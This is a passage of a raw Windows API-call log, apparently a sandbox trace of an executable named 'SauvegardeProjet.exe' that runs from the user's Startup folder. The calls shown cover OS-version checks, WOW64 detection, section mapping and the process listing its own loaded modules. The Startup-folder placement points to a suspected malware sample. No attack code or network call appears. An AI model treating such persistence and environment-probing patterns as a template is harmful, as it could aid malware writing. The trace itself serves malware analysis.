hProcess=0x280, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0229.430] CoTaskMemFree (pv=0x4fb3308) [0229.430] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.430] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0229.430] CoTaskMemFree (pv=0x4fb3308) [0229.431] CloseHandle (hObject=0x280) returned 1 [0229.945] RtlGetVersion (in: lpVersionInformation=0x636b7b0 | out: lpVersionInformation=0x636b7b0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0229.972] RtlGetVersion (in: lpVersionInformation=0x636b7b0 | out: lpVersionInformation=0x636b7b0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0230.103] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0230.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="IsWow64Process", cchWideChar=14, lpMultiByteStr=0x636ce8c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsWow64Processstj\x80~(\x94Âôr\x08Ò6\x06 Åk", lpUsedDefaultChar=0x0) returned 14 [0230.103] GetProcAddress (hModule=0x77540000, lpProcName="IsWow64Process") returned 0x7755195e [0230.103] GetCurrentProcess () returned 0xffffffff [0230.103] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x636ceec | out: Wow64Process=0x636ceec) returned 1 [0230.134] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4fa5aa0 [0230.134] CoTaskMemAlloc (cb=0x2e) returned 0x4fa4b90 [0230.205] NtOpenSection (in: SectionHandle=0x636d2c4, DesiredAccess=0xc, ObjectAttributes=0x636d2a8*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x636d2c4*=0x280) returned 0x0 [0230.300] NtMapViewOfSection (in: SectionHandle=0x280, ProcessHandle=0xffffffff, BaseAddress=0x636d2bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x636d2ac*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x636d2bc*=0x6370000, SectionOffset=0x0, ViewSize=0x636d2ac*=0x180000) returned 0x40000003 [0233.345] GetCurrentProcessId () returned 0x564 [0233.345] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x284 [0233.345] EnumProcessModules (in: hProcess=0x284, lphModule=0x24665e4, cb=0x100, lpcbNeeded=0x636cee0 | out: lphModule=0x24665e4, lpcbNeeded=0x636cee0) returned 1 [0233.345] GetModuleInformation (in: hProcess=0x284, hModule=0x260000, lpmodinfo=0x2466724, cb=0xc | out: lpmodinfo=0x2466724*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0233.345] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.345] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0233.346] CoTaskMemFree (pv=0x4fb3308) [0233.346] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.346] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0233.346] CoTaskMemFree (pv=0x4fb3308) [0233.346] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x2468904, cb=0xc | out: lpmodinfo=0x2468904*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0233.346] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.346] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0233.346] CoTaskMemFree (pv=0x4fb3308) [0233.346] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.346] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0233.346] CoTaskMemFree (pv=0x4fb3308) [0233.346] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x246aa08, cb=0xc | out: lpmodinfo=0x246aa08*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0233.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.347] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0233.347] CoTaskMemFree (pv=0x4fb3308) [0233.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.347] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0233.347] CoTaskMemFree (pv=0x4fb3308) [0233.347] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x246cb14, cb=0xc | out: lpmodinfo=0x246cb14*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0233.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.347] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0233.347] CoTaskMemFree (pv=0x4fb3308) [0233.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.347] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0233.348] CoTaskMemFree (pv=0x4fb3308) [0233.348] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x246ec28, cb=0xc | out: lpmodinfo=0x246ec28*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0233.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.348] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0233.348] CoTaskMemFree (pv=0x4fb3308) [0233.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.348] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0233.348] CoTaskMemFree (pv=0x4fb3308) [0233.348] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x2470d70, cb=0xc | out: lpmodinfo=0x2470d70*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0233.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.348] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0233.349] CoTaskMemFree (pv=0x4fb3308) [0233.349] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.349] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0233.349] CoTaskMemFree (pv=0x4fb3308) [0233.349] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x2472e84, cb=0xc | out: lpmodinfo=0x2472e84*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0233.349] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.349] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0233.349] CoTaskMemFree (pv=0x4fb3308) [0233.349] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.349] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0233.350] CoTaskMemFree (pv=0x4fb3308) [0233.350] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x2474f90, cb=0xc | out: lpmodinfo=0x2474f90*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0233.350] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.350] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0233.350] CoTaskMemFree (pv=0x4fb3308) [0233.350] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.350] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0233.351] CoTaskMemFree (pv=0x4fb3308) [0233.351] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x247709c, cb=0xc | out: lpmodinfo=0x247709c*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0233.351] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.351] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0233.351] CoTaskMemFree (pv=0x4fb3308) [0233.351] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.351] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0233.351] CoTaskMemFree (pv=0x4fb3308) [0233.351] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x24791f4, cb=0xc | out: lpmodinfo=0x24791f4*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0233.352] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.352] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0233.352] CoTaskMemFree (pv=0x4fb3308) [0233.352] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.352] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0233.352] CoTaskMemFree (pv=0x4fb3308) [0233.352] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x247b300, cb=0xc | out: lpmodinfo=0x247b300*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0233.352] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.353] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0233.353] CoTaskMemFree (pv=0x4fb3308) [0233.353] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.353] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0233.353] CoTaskMemFree (pv=0x4fb3308) [0233.353] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x247d414, cb=0xc | out: lpmodinfo=0x247d414*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0233.353] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.353] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0233.354] CoTaskMemFree (pv=0x4fb3308) [0233.354] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.354] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0233.354] CoTaskMemFree (pv=0x4fb3308) [0233.354] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x247f55c, cb=0xc | out: lpmodinfo=0x247f55c*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0233.354] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.354] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0233.355] CoTaskMemFree (pv=0x4fb3308) [0233.355] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.355] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0233.355] CoTaskMemFree (pv=0x4fb3308) [0233.355] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x2481668, cb=0xc | out: lpmodinfo=0x2481668*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0233.355] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.356] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0233.356] CoTaskMemFree (pv=0x4fb3308) [0233.356] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.356] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0233.356] CoTaskMemFree (pv=0x4fb3308) [0233.356] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x248376c, cb=0xc | out: lpmodinfo=0x248376c*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0233.356] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.357] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0233.357] CoTaskMemFree (pv=0x4fb3308) [0233.357] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.357] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0233.357] CoTaskMemFree (pv=0x4fb3308) [0233.357] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x2485878, cb=0xc | out: lpmodinfo=0x2485878*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0233.358] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.358] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0233.358] CoTaskMemFree (pv=0x4fb3308) [0233.358] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.358] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0233.358] CoTaskMemFree (pv=0x4fb3308) [0233.358] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x2487974, cb=0xc | out: lpmodinfo=0x2487974*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0233.359] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.359] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0233.359] CoTaskMemFree (pv=0x4fb3308) [0233.359] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.359] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0233.360] CoTaskMemFree (pv=0x4fb3308) [0233.360] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x2489b04, cb=0xc | out: lpmodinfo=0x2489b04*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0233.360] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.360] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0233.360] CoTaskMemFree (pv=0x4fb3308) [0233.360] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.360] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0233.361] CoTaskMemFree (pv=0x4fb3308) [0233.361] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x248bc08, cb=0xc | out: lpmodinfo=0x248bc08*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0233.361] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.361] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0233.362] CoTaskMemFree (pv=0x4fb3308) [0233.362] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.362] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0233.362] CoTaskMemFree (pv=0x4fb3308) [0233.362] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x248dd0c, cb=0xc | out: lpmodinfo=0x248dd0c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0233.363] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.363] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0233.363] CoTaskMemFree (pv=0x4fb3308) [0233.363] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.363] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0233.363] CoTaskMemFree (pv=0x4fb3308) [0233.363] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x248fe18, cb=0xc | out: lpmodinfo=0x248fe18*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0233.364] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.364] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0233.364] CoTaskMemFree (pv=0x4fb3308) [0233.364] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.364] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0233.365] CoTaskMemFree (pv=0x4fb3308) [0233.365] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x2491f48, cb=0xc | out: lpmodinfo=0x2491f48*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0233.365] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.365] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0233.366] CoTaskMemFree (pv=0x4fb3308) [0233.366] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.366] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0233.366] CoTaskMemFree (pv=0x4fb3308) [0233.366] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x249407c, cb=0xc | out: lpmodinfo=0x249407c*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0233.367] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.367] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0233.367] CoTaskMemFree (pv=0x4fb3308) [0233.367] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.367] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0233.368] CoTaskMemFree (pv=0x4fb3308) [0233.368] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x2496224, cb=0xc | out: lpmodinfo=0x2496224*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0233.368] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.368] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0233.369] CoTaskMemFree (pv=0x4fb3308) [0233.369] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.369] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0233.369] CoTaskMemFree (pv=0x4fb3308) [0233.369] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x2498328, cb=0xc | out: lpmodinfo=0x2498328*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0233.370] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.370] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0233.370] CoTaskMemFree (pv=0x4fb3308) [0233.370] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.370] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0233.371] CoTaskMemFree (pv=0x4fb3308) [0233.371] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x249a434, cb=0xc | out: lpmodinfo=0x249a434*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0233.371] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.371] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0233.372] CoTaskMemFree (pv=0x4fb3308) [0233.372] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.372] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0233.372] CoTaskMemFree (pv=0x4fb3308) [0233.372] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x249c5d0, cb=0xc | out: lpmodinfo=0x249c5d0*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0233.373] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.373] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0233.373] CoTaskMemFree (pv=0x4fb3308) [0233.373] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.373] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0233.374] CoTaskMemFree (pv=0x4fb3308) [0233.374] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x249e78c, cb=0xc | out: lpmodinfo=0x249e78c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0233.374] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.374] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: 